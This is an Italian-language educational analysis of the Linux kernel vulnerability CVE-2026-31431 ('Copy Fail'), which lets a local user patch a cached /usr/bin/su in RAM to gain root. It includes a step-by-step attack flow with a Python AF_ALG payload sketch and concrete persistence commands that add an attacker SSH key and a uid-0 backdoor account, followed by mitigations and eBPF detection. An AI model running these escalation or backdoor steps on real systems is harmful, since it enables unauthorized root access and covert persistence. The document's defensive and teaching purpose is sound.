CVE-2026-31431 — Copy Fail: Escalatione dei Privilegi nel Kernel Linux

Analisi educativa della vulnerabilità Copy Fail nel kernel Linux.
Copre il meccanismo di corruzione della memoria, il flusso di escalation dei privilegi, l'escape dai container e le contromisure difensive.

⚠️ Disclaimer

Questo repository è esclusivamente per scopi educativi e di ricerca.
Non utilizzare queste informazioni su sistemi che non possiedi o per i quali non hai esplicita autorizzazione scritta a testare.
Tutti i frammenti di codice e i comandi sono forniti esclusivamente per favorire la comprensione delle componenti interne del kernel Linux.

Indice

• Panoramica
• Carta d'Identità della Vulnerabilità
• Concetti di Base
• Come Funziona il Bug
• Flusso di Attacco Completo
• Perché È Così Pericoloso
• Osservazione Pratica Sicura
• Difesa e Rilevamento
• Confronto con CVE Simili
• Glossario
• Riferimento Rapido

Panoramica

CVE-2026-31431, nota anche come Copy Fail, è una vulnerabilità del kernel Linux in cui un utente locale non privilegiato può ottenere i privilegi di root senza alcuna autorizzazione speciale.

L'attacco opera interamente in RAM. Il file su disco non viene mai toccato — ciò significa che gli hash dei file restano puliti, i timestamp sono invariati e i log di audit non registrano nulla. Quando il sistema si riavvia, ogni traccia scompare.

Utente normale  →  exploit del bug algif_aead  →  sovrascrittura della page cache  →  root

Proprietà chiave:

• ✅ Nessuna race condition — funziona in modo affidabile ogni volta
• ✅ Disco intatto — la forensics non trova nulla
• ✅ Richiede solo un account utente locale standard
• ✅ Consente l'escape dai container tramite la page cache condivisa

Carta d'Identità della Vulnerabilità

Concetti di Base

/usr/bin/su — Il Binario Target

su (Switch User) consente a un utente di passare a un altro account — tipicamente root. È un binario SetUID:

ls -l /usr/bin/su
# -rwsr-xr-x 1 root root 68208 Jan 1 2026 /usr/bin/su
#   ^-- 's' = flag SetUID

Il flag s significa: quando qualsiasi utente esegue questo binario, esso viene eseguito con i permessi di root. Questo lo rende un obiettivo di alto valore.

La sua logica interna (semplificata):

if (password_correct()) {
    give_root_access();
} else {
    deny_access();
}

L'obiettivo dell'attacco: saltare completamente il controllo password_correct().

RAM e Page Cache

Quando Linux legge un file dal disco, ne conserva una copia in RAM chiamata page cache.

cat /proc/meminfo | grep Cached
# Cached: 1234567 kB  ← questa è la page cache

Buffer e Buffer Sicuro

AF_ALG e algif_aead

AF_ALG (Algorithm Family) è un'interfaccia socket di Linux che consente ai programmi in spazio utente di usare le funzioni crittografiche del kernel (AES, SHA, AEAD).

socket(AF_ALG, SOCK_SEQPACKET, 0);  // apre un socket crittografico

algif_aead è il modulo del kernel che gestisce la crittografia AEAD (es. AES-GCM) tramite AF_ALG. La vulnerabilità risiede nel suo passaggio di copia dei dati.

AF_ALG  →  algif_aead  →  motore AES-GCM  →  buffer di output
                                ↑
                           QUI C'È IL BUG

Come Funziona il Bug

Il bug non è nella logica di crittografia. È nella gestione della memoria — la regione di memoria sbagliata viene selezionata durante una copia di dati.

Flusso normale (senza bug):

destination = safe_output_buffer;       // posizione corretta
memcpy(destination, user_data, size);   // dati scritti in modo sicuro

Flusso vulnerabile (con bug):

destination = buffer + WRONG_OFFSET;    // BUG: puntatore errato!
memcpy(destination, user_data, size);   // i dati finiscono nella page cache

Il kernel avrebbe dovuto scrivere nel buffer di output sicuro. A causa di un offset calcolato male, scrive nella page cache — che contiene la copia in RAM di /usr/bin/su.

Cosa cambia l'attaccante in memoria

Il binario contiene codice macchina x86-64. L'attaccante prende di mira il salto condizionale che attiva il fallimento dell'autenticazione:

Prima dell'attacco:

cmp  eax, 0     ; controlla il valore di ritorno
jne  0x1234     ; se fallisce → salta a deny
call give_root  ; concede root

Dopo l'attacco (2 byte modificati in RAM):

cmp  eax, 0     ; uguale
90 90           ; NOP NOP ← salto sostituito, controllo saltato!
call give_root  ; la CPU arriva qui direttamente

NOP = No Operation. La CPU non fa nulla e prosegue — saltando completamente il controllo di autenticazione.

Flusso di Attacco Completo

Mentalità Pre-Attacco

"Mi serve solo un account utente normale. Sarà il kernel a commettere l'errore da solo.
Il disco resta pulito. Nessun log. Funziona ogni volta."

Passo 0 — Ricognizione

whoami && id
# uid=1000(user) gid=1000(user) ← utente normale

uname -r
# 6.1.0-generic ← nella fascia vulnerabile

ls -la /usr/bin/su
# -rwsr-xr-x root root ← SetUID confermato

python3 -c "import socket; s = socket.socket(socket.AF_ALG); print('AF_ALG disponibile')"

Passo 1 — Caricare il File nella Page Cache

cat /usr/bin/su > /dev/null
# /usr/bin/su è ora caricato nella page cache ✓

Passo 2 — Reverse Engineering del Binario

xxd /usr/bin/su | head -50
objdump -d /usr/bin/su | grep -A 20 'check\|auth\|pass'
readelf -h /usr/bin/su

Cercando: l'indirizzo della funzione di autenticazione, il salto condizionale jne/jnz e il suo offset esatto in byte.

Passo 3 — Aprire un Socket AF_ALG

import socket, struct

sock = socket.socket(socket.AF_ALG, socket.SOCK_SEQPACKET, 0)
sock.bind(('aead', 'gcm(aes)', 0, 16))
sock.setsockopt(socket.SOL_ALG, socket.ALG_SET_KEY, b'A' * 16)

Passo 4 — Inviare il Payload Costruito

payload = b'\x90\x90'  # NOP NOP — sostituisce il salto condizionale
conn = sock.accept()
conn[0].sendmsg([payload], [(socket.SOL_ALG, socket.ALG_SET_IV, ...)])

Passo 5 — Il Kernel Sovrascrive la Page Cache

# Internamente al kernel (semplificato):
destination = buffer + crafted_offset  # BUG: puntatore errato
memcpy(destination, payload, 2)        # byte NOP scritti nella page cache
# Il controllo password di /usr/bin/su è ora NOP NOP in RAM

Passo 6 — Attivazione

su
# Password: (qualsiasi cosa — o premi semplicemente Invio)
# root@victim:/# ← ROOT OTTENUTA

Cosa è successo: Il sistema ha eseguito /usr/bin/su dalla RAM. Il controllo password era NOP. La CPU lo ha saltato. give_root() è stata chiamata direttamente.

Passo 7 — Persistenza (Opzionale)

echo 'attacker_public_key' >> /root/.ssh/authorized_keys

useradd -o -u 0 -g 0 backdoor
echo 'backdoor:password' | chpasswd

Perché È Così Pericoloso

Nessuna Race Condition

Disco Intatto — La Forensics Fallisce

Dopo l'attacco, un investigatore forense trova:

sha256sum /usr/bin/su       # STESSO hash di prima ← disco intatto
diff /usr/bin/su backup/su  # Nessuna differenza
grep -r 'attack' /var/log/  # Nulla
log di auditd               # Nessuna scrittura di file registrata

Al riavvio, la RAM viene svuotata — tutte le prove sono sparite.

Fuga dal Container

I container isolano lo spazio utente — ma il kernel è condiviso, e la page cache è memoria del kernel.

Kernel Host
├── Container 1 (spazio utente isolato)
│   └── L'attaccante è qui
├── Container 2
└── Processo Host

Page Cache: CONDIVISA tra tutti i container e l'host!

Percorso di fuga: L'attaccante nel Container 1 legge /usr/bin/su dell'host → attiva il bug → il binario dell'host in RAM viene modificato → eseguire su sull'host concede root sulla macchina host.

Interessati: Docker, Podman, LXC, Kubernetes (nodi condivisi) — se il kernel dell'host è vulnerabile.

Osservazione Pratica Sicura

Questi sono esercizi di osservazione solo. Usa un ambiente di laboratorio (Docker + VM con kernel vecchio) per qualsiasi test.

Osservare la Page Cache

free -h                      # annota il valore di Cache prima
cat /usr/bin/su > /dev/null  # carica il file nella page cache
free -h                      # la Cache aumenta leggermente

Visualizzare il Memory Mapping del Binario

su &
sleep 1
PID=$(pgrep su | head -1)
cat /proc/$PID/maps | grep su

Ispezionare il Binario

xxd /usr/bin/su | head -20
strings /usr/bin/su | grep -E 'pass|auth|root|fail'

Visualizzare l'Assembly (gdb)

sudo apt install gdb -y
gdb /usr/bin/su
(gdb) disassemble main
(gdb) info functions
(gdb) quit

Hash Disco vs RAM

sha256sum /usr/bin/su
# Uguale al disco normalmente — diverso dopo un attacco riuscito
# Il confronto /proc/PID/mem richiede root

Difesa e Rilevamento

Mitigazione Immediata

Priorità 1 — Aggiornamento del Kernel (migliore soluzione)

# Ubuntu / Debian
sudo apt update && sudo apt upgrade linux-image-$(uname -r)
sudo reboot

# RHEL / CentOS
sudo yum update kernel
sudo reboot

Priorità 2 — Disabilitare algif_aead

sudo modprobe -r algif_aead

echo 'install algif_aead /bin/false' | \
  sudo tee /etc/modprobe.d/disable-algif-aead.conf

Priorità 3 — Controlli di Accesso
Applica profili seccomp con SystemCallFilter nei servizi systemd per limitare l'accesso ai socket AF_ALG per i processi non fidati.

Rilevamento

Rilevamento in Tempo Reale con eBPF

sudo bpftrace -e '
  kprobe:algif_aead_sendmsg {
    printf("ALERT: sendmsg algif_aead dal PID %d (utente %d)\n", pid, uid);
  }
'

Hardening dei Container

# Esegui con profilo seccomp (blocca AF_ALG)
docker run --security-opt seccomp=custom-profile.json my-image

• Usa profili seccomp che bloccano la creazione di socket AF_ALG
• Usa gVisor o simile isolamento del kernel per carichi di lavoro ad alto rischio
• Evita container privilegiati
• Imposta un filesystem root di sola lettura all'interno dei container
• Applica gli Standard di Sicurezza dei Pod Kubernetes — policy restricted

Confronto con CVE Simili

CVE-2026-31431 combina furtività (disco invariato) + affidabilità (nessuna race condition) + fuga dal container — rendendola unicamente pericolosa nella sua categoria.

Glossario

Riferimento Rapido

Flusso di Attacco in Sintesi

Checklist di Difesa

• Aggiorna immediatamente il kernel alla versione patchata
• Disabilita il modulo algif_aead se non richiesto
• Attiva il monitoraggio a livello di kernel con eBPF o Falco
• Aggiorna i profili seccomp dei container per bloccare AF_ALG
• Pianifica controlli di integrità dei binari basati sulla memoria
• Rivedi e aggiorna il piano di risposta agli incidenti

La Frase in Una Riga

In CVE-2026-31431, il modulo crittografico di Linux (algif_aead) ha un bug di copia della memoria che fa finire i dati controllati dall'attaccante nella page cache invece che nel buffer di output sicuro — modificando silenziosamente un binario SetUID in RAM — consentendo a qualsiasi utente locale di ottenere accesso root senza lasciare alcuna traccia su disco.

Questo documento è preparato per la comprensione educativa delle componenti interne della sicurezza del kernel Linux.
— Solo a Scopo Educativo —

📄 Report Completo (PDF)

👉 Scarica il Report Completo